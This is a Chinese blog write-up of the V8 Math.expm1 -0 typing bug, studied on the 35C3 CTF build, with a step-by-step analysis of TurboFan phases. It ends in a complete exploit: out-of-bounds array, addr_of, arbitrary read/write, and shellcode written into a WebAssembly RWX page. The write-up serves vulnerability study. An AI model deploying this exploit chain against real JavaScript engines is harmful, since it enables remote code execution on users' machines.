【V8】V8 Math.expm1 类型错误导致的漏洞

漏洞

V8 的 TurboFan 在编译 JavaScript 代码的时候,首先将 JavaScript 代码转化为中间表示形式(IR)。TurboFan 的 IR 是以 Sea-of-Nodes 的形式来表示的图,之后 TurboFan 的优化都是基于生成的图来进行的,通过遍历图中的节点,根据节点的不同类型来进行不同的处理。

在构造 IR 的过程中,有一个 Typer 阶段,该阶段会根据图的节点操作类型为每个节点添加不同的预定义类型(src/compiler/typer.cc),之后的一些构造和优化过程中,会根据 Typer 阶段得到的类型,对节点进行优化(冗余消除等)或者特定化。例如对于字符串相加的操作,TurboFan 首先会生成 JSAdd 节点,在 Typer 阶段会给出 JSAdd 节点的类型(NumericOrString):

之后的优化流程就可以根据节点的这个类型作出进一步处理。

这个漏洞就是发生在 Math.expm1 的类型判断中。V8 将 Math.expm1 的节点类型定义为 PlainNumber 和 NaN:

// src/compiler/operation-typer.cc

Type OperationTyper::NumberExpm1(Type type) {
    DCHECK(type.Is(Type::Number()));
    return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
}


// src/compiler/typer.cc

Type Typer::Visitor::JSCallTyper(Type fun, Typer *t) {
    // …
    case BuiltinFunctionId::kMathExpm1:
        return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
    // …
}

但是,使用 -0 作为参数执行 Math.expm1 时,会返回 -0,而在 V8 的类型定义中,-0 作为独立的一个类型被定义为 MinusZero,而 PlainNumber 与 NaN 都不包含 MinusZero,因此这里的节点类型判断存在错误。

利用

第一次看到这个漏洞的时候,感觉这么简单的、看起来不起眼的错误,能利用来干什么呢?后来发现由于 TurboFan 优化机制的复杂性,可能简单的一个小错误也能造成很严重的利用原语。不过这个漏洞要想成功利用,还需要对 TurboFan 的各个优化阶段都有所了解。因此,我认为这个漏洞的利用可以作为学习 TurboFan 优化机制的一个很好的切入点。

根据漏洞发现者的描述,能够利用 0 和 -0 不同的有除法、atan2 和 Object.is 三种情况,但是 Typer 优化阶段不会处理前两种情况,因此可以借助 Object.is 来对这个类型错误漏洞进行利用。利用的基本思路是借助 Object.is 的错误类型判断(将 Bool 类型判断成 False 类型),然后将这个类型错误的判断传递到后面,将这个类型转化成数字之后,0/1 数字类型会被判定为 0 数字类型,最终导致访问数组的 CheckBounds 被消除。

在利用过程中,直接利用当时具有漏洞的版本的时候无法成功,目前还不知道原因,因此使用 35C3 比赛时使用的版本,该版本只在上面所列代码的 typer.cc 中存在漏洞。由于 typer.cc 是针对 Builtin 调用的函数进行判断类型,因此需要防止 Math.expm1 的调用在 Inlining 阶段被内联掉。通过以下代码,使得调用 Math.expm1 的参数类型不能被猜测为 Number 类型,从而使得 JIT 优化时调用的 Math.expm1 不会被内联。

function hot(v) {
    var result = Math.expm1(v);
    return Object.is(result, -0);
}

for (var i = 0; i < 100000; ++i) {
    hot("0");
}

print(hot(-0));

上述代码在一开始优化时会将 Math.expm1 内联,但是在后续执行中由于参数是字符串类型,会发生去优化,hot 函数 baiout 回字节码执行,之后再发生优化时则不会将 Math.expm1 内联,如下所示:

可以看到 JSCall 的类别已经被标记为 PlainNumber | NaN 类型。但是,可以看到图中箭头指向的节点的类型为 HeapConstant,且值为 false。这个节点会在 Typed Lowering 阶段的 ConstantFoldingReducer 中被替换成一个常量 False 节点:

// src/compiler/constant-folding-reducer.cc

Reduction ConstantFoldingReducer::Reduce(Node *node) {
    // …
    if (upper.IsHeapConstant()) {
        replacement = jsgraph() -> Constant(upper.AsHeapConstant()->Ref());  // 这里会根据 HeapConstant 的类型返回一个常量节点
    }
    // …
}

因此,在 Typed Lowering 阶段这个值就已经被替换成 False 常量之后,之后优化就会直接返回 False,就无法达到利用目的。(我们的目的是 Type 判断时认为是 False,但是在最终执行时仍能返回 True)。因此,我们尝试将 -0 也换成参数,得到的利用代码如下:

function hot(v, t) {
    var result = Math.expm1(v);
    return Object.is(result, t);
}

for (var i = 0; i < 100000; ++i) {
    hot(“0”, -0);
}

print(hot(-0, -0));

这时可以看到在 Typed Lowering 阶段仍然是 SameValue 节点:

但是还有个问题,这个时候由于 SameValue 的第二个值是通过参数给的,因此其类型是不定的,导致其最后的类型都是 Boolean,从而最终无法消除之后的 CheckBounds 节点,无法造成数组越界读写。

因此我们需要在 Typed Lowering 阶段之前,让 SameValue 的比较值不可知,而之后在 Simplified Lowering 阶段(该阶段还会判断一次节点的类型)让 SameValue 的第二个输入值为 -0,从而使其类型判断为 False,最终造成 CheckBounds 的消除。参考 https://abiondo.me/2019/01/02/exploiting-math-expm1-v8 的讲解,我们可以利用 V8 的 Escape Analysis 阶段,关于该阶段的描述可以参考:https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf。简单来说,该阶段可以将对函数内不会被改变的对象的属性访问变成一个变量访问,因此可以通过这一优化性质达成目标。最后得到的基本的利用代码如下:

let oob_array;

function hot(value) {
    let array = [1.1, 2.2, 3.3, 4.4];
    oob_array = [1.1, 2.2, 3.3, 4.4];  // 这个数组的 length 长度要被改写
    
    var obj = { a: -0 };  // 这里用来 Escape Analysis
    var result = Math.expm1(value);
    var idx = Object.is(result, obj.a);  // 这个是 1
    array[idx * 13] = address2float(0x1234560000000);  // 如果顺利的话,oob_array 的长度会被变成 0x12345
}

之后就是常规的通过数组越界写和读构造 addr_of 原语,以及任意内存读写原语。但是在这里利用的过程中发现一个比较有意思的现象,在上面的 hot 函数中,如果将 var result = Math.expm1(value); 这一语句提到 var obj = { a: -0 }; 语句前面,则在 LoadElimination 阶段就会将属性加载给优化掉,从而导致之后的 SameValue 的值仍然会被 False 常量替换掉(也是在 Load Elimination 阶段发生),使得最后的 idx 值无法得到 1,从而利用失败。

这个漏洞利用下来磕磕碰碰,遇到很多问题,主要还是对 TurboFan 的各个优化阶段具体做了些什么事儿不够了解,因此遇到的一些情况还是不知道如何解决。还有就是得动手实践,因为发现在实践过程中,一些发生的情况和现有博文中说的有一些出入。

Exp

var g_buffer = new ArrayBuffer(16);
var g_float64 = new Float64Array(g_buffer);
var g_uint64 = new BigUint64Array(g_buffer);


function float2address(f) {
    g_float64[0] = f;
    return g_uint64[0];
}


function address2float(addr) {
    let i = BigInt(addr);
    g_uint64[0] = i;
    return g_float64[0];
}


function hex(i) {
    return '0x' + i.toString(16).padStart('0');
}


function info(msg) {
    console.log('[+] ' + msg);
}

function error(msg) {
    console.log('[-] ' + msg);
    exit(1);
}

function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}

// =================================================================
// Start Pwn
// =================================================================

let oob_array = undefined;

function hot(value) {
    let array = [1.1, 2.2, 3.3, 4.4];
    // oob_array = [1.1, 2.2, 3.3, 4.4];
    oob_array = [1.1, 2.2, 3.3, 4.4];
    // % DebugPrint(array);
    var obj = { a: -0 };
    var result = Math.expm1(value);
    var idx = Object.is(result, obj.a);
    array[idx * 13] = address2float(0x1234560000000);
    // return array[idx * 10];
}

for (var i = 0; i < 20000; ++i) {
    hot("0");
}
(hot(-0));

print(oob_array.length);

// % DebugPrint(oob_array);
// % SystemBreak();

var leak_obj = { tag: address2float(0xdead1234), obj: {} };
var memory_buffer = new ArrayBuffer(0x4321);

var leak_offset = 0;
var memory_backing_offset = 0;

for (var i = 0; i < 100; ++i) {
    var value = oob_array[i];
    value = float2address(value);
    if (value == 0xdead1234) {
        leak_offset = i + 1;
        break;
    }
}

for (var i = 0; i < 100; ++i) {
    var value = oob_array[i];
    if (Number(float2address(value)) == 0x4321 && Number(float2address(oob_array[i + 2])) == 2) {
        memory_backing_offset = i + 1;
        break;
    }
}

function addr_of(obj) {
    leak_obj.obj = obj;
    return Number(float2address(oob_array[leak_offset])) - 1;
}

function read(addr) {
    oob_array[memory_backing_offset] = address2float(addr);
    let data_view = new DataView(memory_buffer);
    return Number(float2address(data_view.getFloat64(0, true)));
}

function write32(addr, value) {
    oob_array[memory_backing_offset] = address2float(addr);
    let data_view = new DataView(memory_buffer);
    data_view.setInt32(0, value, true);
}

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1,
    127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0,
    1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2,
    0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 10, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var func = wasmInstance.exports.main;

var func_addr = addr_of(func);
// var shared_info = read(func_addr);
var shared_info = read(func_addr + 0x18) - 1;
var data = read(shared_info + 0x8) - 1;
var instance = read(data + 0x10) - 1;
rwx_address = read(instance + 232);

write32(rwx_address, 0x99583b6a);
write32(rwx_address + 0x4, 0x2fbb4852);
write32(rwx_address + 0x8, 0x6e69622f);
write32(rwx_address + 0xc, 0x5368732f);
write32(rwx_address + 0x10, 0x57525f54);
write32(rwx_address + 0x14, 0x050f5e54);
func();

参考

Leave a Reply

Your email address will not be published. Required fields are marked *